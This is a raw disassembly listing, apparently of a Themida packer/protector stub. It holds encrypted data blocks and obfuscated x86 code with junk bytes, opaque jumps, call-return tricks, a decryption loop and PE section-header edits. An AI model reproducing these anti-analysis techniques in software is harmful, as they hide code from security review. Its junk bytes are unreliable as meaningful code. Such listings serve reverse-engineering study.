		dd 33D852D1h, 0CA56AEB1h, 32565759h, 0D8D7F1B1h, 38BF2BFAh
		dd 325069BEh, 0C73675B1h, 53A731D7h, 0F9DD3BD1h, 0FCDDC8E2h
		dd 35BF36EEh, 0A056ABB1h, 0B935D815h, 1AFFB71h,	0E9658078h
		dd 32573BBEh, 0BBAE5DB1h, 0BC5952ECh, 325657BBh, 0D93D10D1h
		dd 85599A1Dh, 88DD8B4Bh, 38BFC3D0h, 32693948h, 30A7D9BEh
		dd 3DAAAEB1h, 32565E32h, 5336CBB1h, 9835770Fh, 0DD58BB6h
		dd 3D37A4Eh, 3D56BAB1h,	32565C37h, 0F5D557B1h, 38BF37A5h
		dd 2156ABB1h, 19F14AB1h, 0B5CFF082h, 85592290h,	0DB37E046h
		dd 0CDA9A208h, 0E4D7F8D1h, 28FEC050h, 538C20EAh, 3252AA32h
		dd 32646EBEh, 23BF75B1h, 0A56BAB1h, 0BC4D5B74h,	20C8C905h
		dd 795EE348h, 9F86EABEh, 325AAA32h, 32446EBEh, 0DBAE75B1h
		dd 3256BA37h, 0B9300CD1h, 0B330F04Fh, 53462061h, 0DBAAEE4Eh
		dd 3256D5A5h, 0B30CE0B5h, 0B3D3F12Fh, 6420926h,	5C31595Bh
		dd 0DD7C698Ch, 3244BED1h, 0ECC6ABB1h, 41C3EDCDh, 6186CD84h
		dd 0AD9DCCABh, 0CA193E29h, 237DE7D7h, 26912DD0h, 32565258h
		dd 45A763B1h, 0B859949Eh, 3256EAAAh, 32599CD1h,	0C7F2BAB1h
		dd 3BE4696Dh, 14C4AA46h, 0A56DA597h, 0DAD7CD0Ch, 0DB37E06Ch
		dd 0CDA915B4h, 3251F5BEh, 0B059BAB1h, 32565DB0h, 4DD55644h
		dd 0B65952A1h, 3256AB28h, 32575ABEh, 0DBA3EAB1h, 325675B8h
		dd 641BBC7Eh, 3336050Dh, 22292DABh, 0BFD358B7h,	0CB56ABB1h
		dd 3BD1DAF0h, 5256EAB1h, 32D97A44h, 5356BAB1h, 31D252D1h
		dd 0B256AEB1h, 8D36E268h, 687902E2h, 53CC0031h,	361161D0h
		dd 325DFBBEh, 34BFBAB1h, 0DD565DB1h, 4B399EF0h,	3E09DC4Fh
		dd 8A30CBD1h, 23BFD358h, 2056EAB1h, 0DF614B6Eh,	5ECAC4CBh
		dd 238FB808h, 9A64959Eh, 0D8D731D0h, 0DB37F310h, 3256D55Dh
		dd 3256FA58h, 0B37B3BB1h, 0A07C3ADEh, 6F15166Dh, 477D646h
		dd 3611DC7Dh, 0B9305ED1h, 6DDDB446h, 9EBF1FBDh,	0CA5675B1h
		dd 5252FD3Ah, 539ED6D7h, 3D5AF13Ah, 32564433h, 0F2D6CBB1h
		dd 325F3C86h, 415BEAB1h, 3565731Ch, 535DAB4Ch, 3609764Dh
		dd 0EAD7C8D1h, 53AF6715h, 52534032h, 3256C759h,	49CCF6B1h
		dd 31DAFF6h, 200A27EFh,	0DF61636Eh, 54CAD0CBh, 6B89380Eh
		dd 325426BEh, 6D07D5B1h, 222969D0h, 7AD37AB2h, 3D56BAB1h
		dd 32564531h, 324547B1h, 7BC357B1h, 9F9CC058h, 4E199D46h
		dd 5786238Ah, 2D82ECF8h, 26BFFB6Bh, 38565DB1h, 0E53ABCF2h
		dd 32DEDDACh, 0FF8A178Bh, 32945E44h, 3DB0EB05h,	32567F33h
		dd 325353B1h, 59985DB1h, 19D547A0h, 23DC5868h, 5256ABB1h
		dd 3256D058h, 0ED86A9B1h, 0B330C7DDh, 53F4226Ah, 33570138h
		dd 3256A558h, 816938B1h, 0CDC67F8Dh, 0BCA14A1h,	0CDA91509h
		dd 24DF7A4Eh, 0DB56BAB1h, 32565DA0h, 1E127ED3h,	45062388h
		dd 8F894C75h, 500D0671h, 325353E4h, 0C1AF75B1h,	8BF431Ah
		dd 52A9A24Ch, 325525BEh, 0B93057B1h, 3259436Eh,	4BCED5B1h
		dd 8020DD10h, 72CB4FF2h, 63299490h, 3258B58Fh, 6AEFAEB1h
		dd 4D688086h, 5BA81890h, 0F0015C01h, 5337B2E9h,	37D77AD1h
		dd 5456BAB1h, 1F03AA30h, 53AC25D7h, 0DBAA123Ah,	3256ABB9h
		dd 0AB8862C3h, 884D78B2h, 0BA59BC49h, 3256BAA7h, 32564C58h
		dd 0FAC2E3B1h, 819EA5A4h, 0C78457E6h, 0EE8E8A8Bh, 0DB953138h
		dd 325675BFh, 0D8F9B995h, 87B6FE7Ch, 0B895ADE9h, 0B3367BCFh
		dd 0EE258277h, 0EAD7B3AEh, 6237862Ah, 32567358h, 0F206FDB1h
		dd 63C4C0DDh, 325146D1h, 50BC57B1h, 861A363Fh, 540F294Ch
		dd 0BE7E3530h, 0DBAE26D0h, 3256BABDh, 2E5CE61h,	5CE6610h
		dd 1EBE4E26h, 3256AB59h, 0D8D78FB1h, 38BCE89Eh,	32567858h
		dd 2287CB1h, 0BB11DD33h, 0B48EF7BDh, 8C36D717h,	62DEE74Ah
		dd 0C2A154D7h, 26BF8B54h, 0B05675B1h, 5B330A84h, 0BE137D7Ch
		dd 6436F956h, 0A17E3798h, 0BF7003FAh, 0DBE0392Bh, 0DADC8ABBh
		dd 0A5A5F4D7h, 56EEDB9Dh, 3D565DB1h, 3256A238h,	34D758B1h
		dd 3D56ABB1h, 3256D534h, 346302B1h, 0B9AE75B1h,	3EBFDABAh
		dd 0F565DB1h, 614DDF37h, 848B6E06h, 0B349E316h,	147A2E5Fh
		dd 0F36D8BCBh, 95EC13D1h, 324453B6h, 0CAD65DB1h, 0F849AAD3h
		dd 0C4023B98h, 1731E86h, 9C5DA55Dh, 322B03D0h, 0B45975B1h
		dd 3256BABFh, 32565458h, 0F4B13BB1h, 4195ADD2h,	79559B3Ah
		dd 3ADEDAB5h, 3D56EAB1h, 3256773Fh, 937DAB1h, 0A9D45270h
		dd 0C756AEB1h, 3D461CB2h, 3256AA3Dh, 0F36D20B1h, 327468BEh
		dd 0B65975B1h, 3256BABCh, 0D8D73BD1h, 0F8D7AB3Ch, 7E08657Eh
		dd 324642D0h, 5436D5B1h, 0EC542D30h, 53DBA631h,	32563E58h
		dd 4CBFA4B1h, 0DB56AEB1h, 325657BAh, 561A4638h,	7BB97C4Dh
		dd 0BF04D932h, 0D827C12Bh, 21D8B5BBh, 3D565DB1h, 3256A33Ah
		dd 325EBEB1h, 5B2ABB1h,	0ECA98B72h, 0E1A9E5E0h,	32119C49h
		dd 3D36BAB1h, 32564B34h, 324747B1h, 0F71A57B1h,	0F75EF553h
		dd 0DE041E67h, 259CBF50h, 52E1E254h, 0C7DB6431h, 0A8DB3CD0h
		dd 38BCDA6Bh, 0DB85A849h, 3256ABA5h, 1A860379h,	0C8BC8052h
		dd 0C310E7D5h, 688D1634h, 0E51FB679h, 8D36F544h, 57DED660h
		dd 3D0CFCD1h, 3256D530h, 6B378BB1h, 32567E58h, 65E7B9B1h
		dd 11FDE48Bh, 0D03176C1h, 325CBEE9h, 0EFD1ABB1h, 0C89C5315h
		dd 0A29964F5h, 33DB7A72h, 0CA56BAB1h, 32565358h, 9CE938B1h
		dd 0D0D21AADh, 0BF6B07D6h, 67998B22h, 0FDDD8CD1h, 32567C59h
		dd 388294B1h, 0D664E23Bh, 21BF87B5h, 425657B1h,	55E16A7Ch
		dd 7BC67B5Ah, 78D764AFh, 7C1F67Ch, 530DC682h, 0DB36B13Ah
		dd 3256AEA3h, 5C8460DCh, 437EF533h, 0FBF3D454h,	0B7F58A1Bh
		dd 8D5985C7h, 0DAA3DB4Bh, 32565DB1h, 50BC2FEBh,	3D5CBDB5h
		dd 3256A336h, 30DFDAB1h, 5256EAB1h, 325D9CD0h, 0BCDABAB1h
		dd 0B1F255D6h, 9ADB5EADh, 0B1593759h, 3256ABA4h, 32583CD1h
		dd 2EE4EAB1h, 0C64D81A0h, 0FC930A64h, 679F3B27h, 0DEEC23D0h
		dd 0CE5CBE07h, 525EEE3Ah, 3256C558h, 6D4436B1h,	171DBBD1h
		dd 239EDAB8h, 0EDDC7799h
		dd 32454797h, 7F2657B1h, 7F61B521h, 959788CCh, 2DA8A9Ch
		dd 0B8907971h, 0B059DBB2h, 32565DBDh, 32502FBEh, 0BE5957B1h
		dd 3256ABB1h, 0B9A3D238h, 0DB36E6F4h, 325675A0h, 576ED63Ch
		dd 11EF5FD0h, 0AF5CF74Fh, 0D06CF1E1h, 5388203Ch, 0DB529238h
		dd 3256EABBh, 3183AC90h, 0DB57FBDFh, 77DD6722h,	325C47A1h
		dd 18CC57B1h, 8408C375h, 0B2DEDF13h, 0DB5AAD38h, 325675BAh
		dd 40092EBBh, 0DE3318DAh, 0B99F7613h, 0B95943F4h, 3256ABB6h
		dd 325757BEh, 52AFEAB1h, 0B382B731h, 5A655E78h,	75DF3CC0h
		dd 33D3A1A1h, 0CE5657B1h, 26BFCBD0h, 0CB56D5B1h, 0BB1D98CEh
		dd 99A398D9h, 0F0E57F4Eh, 4370C29h, 533DB2BDh, 3FD15878h
		dd 5256ABB1h, 3256D358h, 75594BB1h, 53D64B0Fh, 3D56AA73h
		dd 32564839h, 324647B1h, 294057B1h, 0BC5EAA4Fh,	8BCC7F7Ah
		dd 94DBA4FAh, 5236B6ACh, 3DC87931h, 0F4378A0Eh,	0D14A5F34h
		dd 0BC5910BBh, 3256ABA0h, 3256D958h, 2910A6B1h,	0FBC2797Fh
		dd 0EA3C032Ah, 3DAA3DB0h, 3256AB35h, 0E1D731B1h, 5A37F0F8h
		dd 9A41A6ABh, 32576EBEh, 0CDAE75B1h, 0D179AB04h, 3244B4BBh
		dd 1E9BAEB1h, 0AC0543A1h, 2DFE5197h, 0AB7CCFFh,	2AB8E0B1h
		dd 9EA5F03Ch, 3BBFB057h, 45565DB1h, 2F560FC9h, 6335A43Ch
		dd 3256A458h, 834014B1h, 21FEA45Dh, 21F4FC04h, 0BF0BABC6h
		dd 35BF8D4Eh, 0C156AEB1h, 8976B48Fh, 3D04FFA3h,	3256C93Eh
		dd 24D5E5B1h, 0DB5675B1h, 3256BAA0h, 2EC60638h,	0B0A0173Eh
		dd 177E5527h, 5BB2C6F9h, 32463C9Fh, 6FD7EAB1h, 11318A4Ch
		dd 79DBDF3Dh, 0E86F0763h, 0B8DB543Ch, 38BFEFE6h, 32572CBEh
		dd 63AAD5B1h, 3256E258h, 0BFA76B1h, 976D945h, 0DB86A25Ch
		dd 3256AEA2h, 4C346D97h, 0AD09BC05h, 8C0B1D7Dh,	0E4C12445h
		dd 0DBF8E0C4h, 3256BABCh, 0E8FD177Eh, 32423146h, 674B8F67h
		dd 21BFF12Fh, 5756D5B1h, 269DAA96h, 3340E4DDh, 7856C241h
		dd 0D4CDDD37h, 0B0DB791Bh, 38BFEFE6h, 3256AD58h, 0DCF381B1h
		dd 3D6D6BF0h, 0C75A3506h, 60AE623Ah, 6FD8E3D1h,	0DDD7CAF5h
		dd 64866F24h, 325C42D0h, 4E14D5B1h, 0DBA0D40Dh,	0CF7CF8BBh
		dd 21BF8BBEh, 0E7565DB1h, 166451D3h, 31F9A5C3h,	3FB41179h
		dd 4F65B150h, 520CBBE2h, 0B885F4D7h, 0FAE9B55Dh, 0F155A4D0h
		dd 0E3DDC8D1h, 35BFAFD1h, 0CA56ABB1h, 213ABB85h, 5337C428h
		dd 32567B58h, 0F96BB0B1h, 75B2CEC2h, 73A960Ch, 0BB9BA1CBh
		dd 0D14A2E33h, 325B3CBBh, 0F30DEAB1h, 0DD5D7A04h, 0ACA234EAh
		dd 531FA730h, 3256A358h, 4E5E78B1h, 0B956313h, 26281760h
		dd 0F1AF0FE0h, 32566158h, 2CF8EBB1h, 0D2663174h, 0D9853EC9h
		dd 0FB35BC9Bh, 278F4AF9h, 9E95178h, 0A6000000h,	0A800A606h
		dd 89C62D85h, 178A0Fh, 8E0F0000h, 11h, 0CE9h, 0FB850600h
		dd 0B5BB096Eh, 99FF4FC1h, 820F52F2h, 1,	0E8F9h,	815A0000h
		dd 0EA07E8EAh, 7E9FC0Ah, 0F8000000h, 0F7460024h, 5060BA3Bh
		dd 815E79B3h, 4A8E87CEh, 0F52616Bh, 1B87h, 158E0F00h, 0E9000000h
		dd 10h,	0EBB6C939h, 414B4A6Fh, 0AE3B4BF4h, 0EB400760h
		dd 1C85828Bh, 870F0AE3h, 1, 4E6DB9FCh, 6E941C6h, 0FA000000h
		dd 0F933A049h, 0FE1F72Bh, 108Eh, 9E96000h, 2A000000h, 9C2BB22Eh
		dd 2DA2EB8Bh, 8D0F5A61h, 15h, 10E9h, 0E26EF200h, 0C9CB43B9h
		dd 0E4896FC0h, 0AF6FB615h, 30390526h, 0F5F80000h, 0FFFFFF25h
		dd 5870F7Fh, 60000000h,	61FEBF0Fh, 61606060h, 0C2BB6661h
		dd 828961C0h, 0AE31C85h, 0B9665060h, 8B598E31h,	0E95A61C1h
		dd 9, 22FFD2EEh, 15780BAAh, 8B605962h, 6196B0DFh, 0F1BF0F60h
		dd 64B0BA66h, 51FCC361h, 11E9h,	7D3EE500h, 0FEE0B30h, 1BE4672Ah
		dd 8A922084h, 0FC52CD57h, 0E8h,	0EA815A00h, 0AEA08EBh
		dd 0EE9h, 0CA29B000h, 17B559B3h, 95A95276h, 60809BEAh
		dd 0EE960h, 0DF250000h,	801BB06Bh, 0D551A426h, 421BFA4Bh
		dd 0D3BDE981h, 0F613D2Ah, 8B61F7BFh, 0FE9C8h, 6C000000h
		dd 626A8BDDh, 128FAF0Eh, 89E71EC0h, 0FE6FE8ECh,	33F9FFFFh
		dd 14E9D2h, 89AB0000h, 4FAC5988h, 0FD01CD30h, 986EE83Bh
		dd 33F5E5EDh, 0F1F707BCh, 0F8C28BF8h, 13E95Ah, 94EE0000h
		dd 0CC0D2FD3h, 53F1CCD6h, 0A66C33A5h, 0DD60E45Eh, 0C3F85957h
		dd 0E9C08BFCh, 10h, 0D14FD334h,	4DE6C418h, 0C1EB8036h
		dd 23544725h, 13E9C08Bh, 0D6000000h, 1D649B0Eh,	2E4E5A89h
		dd 83A5230Eh, 9A56C3EFh, 858DE09Dh, 0AE9CDAFh, 56DC8060h
		dd 0D0FF61FCh, 0C18B66FCh, 58BA6660h, 0D88B6650h, 0AF858D61h
		dd 600AEA07h, 68F0Fh, 880F0000h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5F2EDD
; ---------------------------------------------------------------------------
		db 77h,	0B1h, 3
		dd 0F5CE62AAh
; ---------------------------------------------------------------------------
		dec	esi


loc_5F2EDD:				; CODE XREF: Themida_:005F2ED0j
		popa
		stc
		mov	[ebp+0AE320A1h], eax
		jnp	loc_5F2EFA
		pusha
		jmp	loc_5F2EF8
; ---------------------------------------------------------------------------
		mov	al, ds:4C4677C2h
		mov	bh, 88h


loc_5F2EF8:				; CODE XREF: Themida_:005F2EECj
		cld
		popa


loc_5F2EFA:				; CODE XREF: Themida_:005F2EE5j
		lea	eax, [ebp+0AEA08CDh]
		pusha
		jmp	loc_5F2F15
; ---------------------------------------------------------------------------
		dw 38C4h
		dd 40E72F0Dh, 10952F8Bh, 0CF753007h
		db 11h
; ---------------------------------------------------------------------------


loc_5F2F15:				; CODE XREF: Themida_:005F2F01j
		pusha
		mov	eax, 6C805071h
		popa
		popa
		mov	[ebp+0AE301D5h], eax
		jmp	loc_5F2F2F
; ---------------------------------------------------------------------------
		inc	ecx
		popf
		adc	eax, 579E1275h


loc_5F2F2F:				; CODE XREF: Themida_:005F2F23j
		mov	eax, 0
		jge	loc_5F2F49
		jmp	loc_5F2F49
; ---------------------------------------------------------------------------
		db 0DCh
		dd 17F36104h, 4A8DAA94h
		db 0E1h
; ---------------------------------------------------------------------------


loc_5F2F49:				; CODE XREF: Themida_:005F2F34j
					; Themida_:005F2F3Aj
		jge	loc_5F2F50
		clc


loc_5F2F50:				; CODE XREF: Themida_:loc_5F2F49j
		or	eax, eax
		jz	loc_5F3072
		pusha
		jmp	loc_5F2F64
; ---------------------------------------------------------------------------
		dw 7DA7h
		dd 0A9DBB13Fh
; ---------------------------------------------------------------------------


loc_5F2F64:				; CODE XREF: Themida_:005F2F59j
		popa
		mov	byte ptr [ebp+0AE31CF1h], 56h
		cmc
		push	0A9C530DFh
		pusha
		and	ebx, 57EC2BA2h
		pusha
		stc
		mov	ebx, eax
		popa
		popa
		push	dword ptr [ebp+0AE32F11h]
		pusha
		popa
		lea	eax, [ebp+0AE6ACF3h]
		jb	loc_5F2F9B
		jle	loc_5F2F9B
		pusha
		popa


loc_5F2F9B:				; CODE XREF: Themida_:005F2F8Dj
					; Themida_:005F2F93j
		call	eax
		pusha
		mov	bh, 0C1h
		popa
		push	eax
		stc
		lea	ecx, [ebp+0AE333A1h]
		pusha
		mov	cl, 86h
		js	loc_5F2FBC
		jmp	loc_5F2FBC
; ---------------------------------------------------------------------------
		db 8
		dd 8A979267h
; ---------------------------------------------------------------------------


loc_5F2FBC:				; CODE XREF: Themida_:005F2FACj
					; Themida_:005F2FB2j
		popa
		push	ecx
		jmp	loc_5F2FD1
; ---------------------------------------------------------------------------
		db 22h
		dd 0C8E10984h, 0D5E69C58h, 95D43F3Ah
		db 77h
; ---------------------------------------------------------------------------


loc_5F2FD1:				; CODE XREF: Themida_:005F2FBEj
		jnz	loc_5F2FD8
		clc


loc_5F2FD8:				; CODE XREF: Themida_:loc_5F2FD1j
		push	4
		jz	loc_5F2FF9
		pusha
		movsx	ecx, ax
		jmp	loc_5F2FF8
; ---------------------------------------------------------------------------
		db 0EEh, 0A8h, 0B3h
; ---------------------------------------------------------------------------
		aaa
		enter	0FFFF965Eh, 36h
		fist	dword ptr [esi+ecx*2-4E9C6C80h]


loc_5F2FF8:				; CODE XREF: Themida_:005F2FE4j
		popa


loc_5F2FF9:				; CODE XREF: Themida_:005F2FDAj
		push	1000h
		stc
		push	dword ptr [ebp+0AE31E81h]
		pusha
		add	bh, 2Dh
		movsx	eax, bx
		popa
		call	eax
		jb	loc_5F3027
		jmp	loc_5F3027
; ---------------------------------------------------------------------------
		dw 0F1Eh
		dd 0DD3A83DAh, 0D90494B9h
		db 52h,	2, 8Ch
; ---------------------------------------------------------------------------


loc_5F3027:				; CODE XREF: Themida_:005F300Fj
					; Themida_:005F3015j
		mov	edi, [ebp+0AE31E81h]
		jmp	loc_5F3037
; ---------------------------------------------------------------------------
		dw 4810h
		db 2 dup(0EEh),	0B4h
; ---------------------------------------------------------------------------


loc_5F3037:				; CODE XREF: Themida_:005F302Dj
		add	edi, [edi+3Ch]
		cmc
		add	edi, 0F8h
		jg	loc_5F3062
		jg	loc_5F3062
		jmp	loc_5F3062
; ---------------------------------------------------------------------------
		dw 0BF67h
; ---------------------------------------------------------------------------
		or	[edx-32h], ebx
		sbb	eax, 3D3483Bh
		mov	word ptr [ebp+70h], es
		retf	0C5A4h
; ---------------------------------------------------------------------------


loc_5F3062:				; CODE XREF: Themida_:005F3041j
					; Themida_:005F3047j ...
		mov	dword ptr [edi+24h], 60000020h
		pusha
		movzx	ecx, di
		mov	ax, 0A84Dh
		popa


loc_5F3072:				; CODE XREF: Themida_:005F2F52j
		lea	ebx, [ebp+0AE31691h]
		pusha
		add	cx, 4735h
		push	ebx
		push	ecx
		pop	edi
		pop	edx
		popa
		mov	eax, [ebx]
		jg	loc_5F3093
		pusha
		mov	dx, 0F163h
		mov	ebx, edi
		popa


loc_5F3093:				; CODE XREF: Themida_:005F3085j
		or	eax, eax
		jz	loc_5F30D8
		cld
		mov	eax, [eax]
		jmp	loc_5F30B5
; ---------------------------------------------------------------------------
		cld
		and	[edx], bl
		mov	[eax], dh
		sub	al, 5
		dec	eax
		dec	ebp
		pop	eax
		imul	ebp, [ebx+59152925h], 77h
		pop	es


loc_5F30B5:				; CODE XREF: Themida_:005F309Ej
		jmp	loc_5F30C3
; ---------------------------------------------------------------------------
		dw 0AA1Fh
		dd 6DBAD566h
		db 4Eh,	0BFh, 0D6h
; ---------------------------------------------------------------------------


loc_5F30C3:				; CODE XREF: Themida_:loc_5F30B5j
		mov	[ebx+4], eax
		jmp	loc_5F30D8
; ---------------------------------------------------------------------------
		db 5Fh
		dd 0C0553716h, 0E56D1BFBh, 0F05F6275h
; ---------------------------------------------------------------------------


loc_5F30D8:				; CODE XREF: Themida_:005F3095j
					; Themida_:005F30C6j
		mov	ecx, 234CF6h
		call	near ptr sub_5F30F5
		mov	esi, 0BA6A1327h
; ---------------------------------------------------------------------------
		db 8Ch
; ---------------------------------------------------------------------------
		jb	short near ptr loc_5F30F0+4
		clc
		lodsb
		fcomp	qword ptr [ebp-16h]
		xchg	eax, ebx


loc_5F30F0:				; CODE XREF: Themida_:005F30E8j
		or	eax, 0D217F168h

; =============== S U B	R O U T	I N E =======================================



sub_5F30F5	proc far		; CODE XREF: Themida_:005F30DDp
		mov	ebx, eax
		pop	edx
		mov	esi, edx
		add	edx, 639Bh
		mov	ax, 8FCEh
		mov	ecx, 18B7h
		jmp	loc_5F311F
; ---------------------------------------------------------------------------
		sub	al, 11h
		movsb
		cmp	cl, al
		retf
; ---------------------------------------------------------------------------
		dd 0D2562B9Ch, 0FC5F3EB7h
		db 9Ah,	5Bh, 0Bh
; ---------------------------------------------------------------------------


loc_5F311F:				; CODE XREF: sub_5F30F5+14j
					; sub_5F30F5+9Aj
		mov	edi, [edx]
		add	edi, 0DCE07C8h
		mov	ax, si
		xor	edi, 69BC22B3h
		movzx	esi, si
		sub	edi, 7FC62557h
		mov	esi, 37FBA0E5h
		push	edi
		push	ebx
		mov	ax, 0E190h
		pop	ebx
		pop	dword ptr [edx]
		push	eax
		mov	bx, 1B39h
		pop	eax
		sub	edx, 4
		push	edi
		jmp	loc_5F3165
; ---------------------------------------------------------------------------
		dw 0AAB5h
		dd 0FC9DBE44h, 0C271AF50h, 553BE85Eh
		db 0ECh
; ---------------------------------------------------------------------------


loc_5F3165:				; CODE XREF: sub_5F30F5+5Cj
		pop	ebx
		dec	ecx
		jnz	loc_5F318A
		jmp	loc_5F3179
; ---------------------------------------------------------------------------
		dw 0EA06h
		dd 0A80738EEh
		db 82h
; ---------------------------------------------------------------------------


loc_5F3179:				; CODE XREF: sub_5F30F5+78j
		jmp	loc_5F31A5
; ---------------------------------------------------------------------------
		cmp	edi, edx
		imul	ecx, [ebp+516DCF81h], 7Ch
		aad	0C8h
		int	3		; Trap to Debugger


loc_5F318A:				; CODE XREF: sub_5F30F5+72j
		mov	esi, 252D741Dh
		jmp	loc_5F311F
; ---------------------------------------------------------------------------
		mov	ss, word ptr [edi]
		dec	ecx
		pop	ebx
		push	eax
		xor	al, 6
		xchg	eax, esp
		or	esi, [edx]
		fdivr	dword ptr [ecx]
		enter	7A00h, 13h
		dec	edi


loc_5F31A5:				; CODE XREF: sub_5F30F5:loc_5F3179j
		lea	ecx, [ebp+0AEA0D57h]
		jmp	loc_5F31BD
; ---------------------------------------------------------------------------
		dd 6D3CBAFAh, 0D56A54F0h, 54A05456h
		db 1Ah
; ---------------------------------------------------------------------------


loc_5F31BD:				; CODE XREF: sub_5F30F5+B6j
		mov	[ebp+0AE31479h], ecx
		stc
		mov	dword ptr [ebp+0AE306C9h], 6E14h
		push	0
		push	ecx
		call	sub_5F31D9
		and	[ecx-3Dh], bl
sub_5F30F5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_5F31D9	proc near		; CODE XREF: sub_5F30F5+DCp

arg_4		= dword	ptr  8

		pop	ecx
		mov	[esp-4+arg_4], ecx
		add	[esp-4+arg_4], 1Dh
		inc	ecx
		push	ecx
		retn
sub_5F31D9	endp

; ---------------------------------------------------------------------------
		db 13h,	0C4h, 73h
; ---------------------------------------------------------------------------
		mov	edx, 73B021Bh
		mov	ch, 0F5h
		jmp	loc_5F3206
; ---------------------------------------------------------------------------
		dd 0E50A315Fh, 0CA69E82Ch, 345E36F3h
		db 0E4h, 16h
; ---------------------------------------------------------------------------


loc_5F3206:				; CODE XREF: Themida_:005F31F3j
		mov	dword ptr [ebp+0AE30069h], 0
		movzx	ebx, cx
		push	dword ptr [ebp+0AE30445h]
		push	0
		push	edx
		call	sub_5F3224
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5F3224	proc near		; CODE XREF: Themida_:005F321Cp

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 17h
		inc	edx
		push	edx
		retn
sub_5F3224	endp

; ---------------------------------------------------------------------------
		add	eax, 0FF555F6Dh
		xchg	eax, ebp
		mov	ch, 26h
		jecxz	short near ptr loc_5F3244+4
		mov	si, 9702h
		push	0


loc_5F3244:				; CODE XREF: Themida_:005F323Cj
		call	dword ptr [ebp+0AE31CD1h]
		mov	eax, eax
		jmp	short loc_5F325D
; ---------------------------------------------------------------------------
		dw 4E9Eh
		dd 659E302Ah, 89632BB7h, 0CA067250h
		db 7Ah
; ---------------------------------------------------------------------------


loc_5F325D:				; CODE XREF: Themida_:005F324Cj
		jmp	loc_5F3280
; ---------------------------------------------------------------------------
		dw 0E1C8h
		dd 1D01h, 6 dup(0)
; ---------------------------------------------------------------------------


loc_5F3280:				; CODE XREF: Themida_:loc_5F325Dj
		jmp	loc_5F383A
; ---------------------------------------------------------------------------
		db 0DAh, 0AFh, 76h
		dd 0FE394184h, 4285C90Ch, 0C700B588h, 4D8E3E13h, 6460929Dh
		dd 0EE239750h, 69AC1EDFh, 0DE33E720h, 8AB971AAh, 9E729BC0h
		dd 0AE4B3BF5h, 87D4A858h, 46DFAB5Eh, 63B77006h,	4F7D5CB8h
		dd 622B7602h, 1B3FF2A5h, 65D516A6h, 0DF18ACC1h,	0ADF484F5h
		dd 0DB04571Bh, 0B246DFAAh, 0A7A316C9h, 0DD7DB6C2h, 98516419h
		dd 642D5DBCh, 26249750h, 27288A4Bh, 51F93242h, 0DA1DA1EAh
		dd 0A881CB30h, 780327E0h, 348E215h, 0E8EBDE00h,	0CFD03B38h
		dd 8CC1B993h, 754802FFh, 2A8F8B44h, 0E9B8A29Bh,	4F7C8E50h
		dd 0D7E5D892h, 117AFE1Ch, 0E3D5881Ah, 297A56A8h, 46DEACFDh
		dd 0A4842E97h, 47762E1Bh, 6611h, 8634A900h, 1E7AC149h
		dd 0C803490Eh, 0AB2A5942h, 1B4446DFh, 8C335657h, 51EE014Bh
		dd 5B4776D0h, 0Eh, 27501B9Fh, 0FE46DF9Fh, 43BCCC0Dh, 35A81509h
		dd 3293C681h, 0DA7D07C6h, 0BECC2D67h, 8105D941h, 0DF56B1DAh
		dd 1422A346h, 0E9C5BF5h, 0D4C50FFCh, 8CE169A6h,	0B11C3EFBh
		dd 8E3CCE90h, 14A49951h, 0A81F6FDBh, 9B310823h,	0BA964213h
		dd 4CEE295Fh, 6CA86329h, 11A1E9CCh, 0DF88214Ah,	5407F446h
		dd 0FCADD3B6h, 3F0C0ECBh, 0A3EBCE4Ch, 96AFE664h, 58F5ACCCh
		dd 87407496h, 11CAFED3h, 25E29409h, 6B10D225h, 7CDE29h
		dd 728BC58Bh, 9F3FD8F0h, 18634776h, 0E92AD7F7h,	0BA4C886Fh
		dd 0B6h, 2823A8EAh, 2E86FB56h, 0A7446D3Eh, 721946DFh, 506455BFh
		dd 0ACDF5397h, 0FCB4DE71h, 355EB1DAh, 846DEB9h,	2740F4E3h
		dd 0AC1F3F0Ch, 4734C860h, 7D2EAA86h, 46DF0154h,	2C0F4229h
		dd 24157F41h, 50792292h, 2546DF40h, 35B80376h, 9B51086Bh
		dd 5B6F0228h, 2598B09Ch, 0DFB25893h, 0C9EB6FA8h, 6DA6D29Ch
		dd 64190AD4h, 5BBE9A57h, 25DC7235h, 0F78A40D5h,	4D735604h
		dd 982D808Ah, 0AB54BB5Fh, 9D942107h, 60BC4776h,	0E8000000h
		dd 66C40749h, 1AB92715h, 0E4EA7AB7h, 684ABDEFh,	2EE99F7Ah
		dd 84F9117Bh, 82103AF7h, 9CEF396h, 27DE3A01h, 0E2256BBBh
		dd 149E028h, 2B5744C6h,	4546DFABh, 0D1FAA125h, 8346DFAAh
		dd 0E619CFC6h, 5A415996h, 6A1BC77Eh, 0FD9CC596h, 8A7146DEh
		dd 94C03B41h, 767EDA63h, 1CE47h, 49BE0000h, 6558C205h
		dd 1B7E9C57h, 35A8B275h, 0D1C34780h, 71BEFA64h,	0B1D96E5h
		dd 0ABBCF614h, 190AD461h, 7F9B5464h, 2569408Ch,	3E3A28E2h
		dd 753962C8h, 183CFC86h, 0C6F2D773h, 8A0AAA8Dh,	0FBC0B8E1h
		dd 0AB9E8D3Bh, 6D20F04Dh, 0F73058BDh, 0D2194853h, 47FE3BFBh
		dd 4516EA9Bh, 3BFBD21Ch, 0EBCE0AF1h, 9CEF0A1h, 3B40E456h
		dd 3AD2661Fh, 0BC9DF7CDh, 0B337D30Ch, 236DAEDEh, 0C1498236h
		dd 0C2F7DEECh, 0D5C85205h, 6AEE6CA7h, 0FBC31841h, 0C83EED3Bh
		dd 34EB8D51h, 5B7571Bh,	42FB10CAh, 464D9538h, 190h, 0A4A2A636h
		dd 0A815D586h, 0D4A83CFCh, 0FCA65E87h, 0A3D2373Bh, 4D5DB76Ah
		dd 0C34780C8h, 0C1858578h, 0F6221FACh, 3C3EF983h, 0A5CAF3B8h
		dd 0F8A33BFCh, 55082C9Ch, 9C6FEB24h, 82CE09BFh,	0CBCE597h
		dd 3C4F6D3h, 0A5D7CA50h, 0C317E06Ah, 0A5F31C4Fh, 21CA3BFCh
		dd 72945EF7h, 0C8AD8D46h, 0B0084485h, 4A7338BCh, 233BFCA6h
		dd 0FB1FD8EEh, 0C0735D10h, 4D95D527h, 5F2Dh, 62098D00h
		dd 3BFC9A39h, 39518A3Dh, 8679B6C4h, 50FA3545h, 0A67DA1EBh
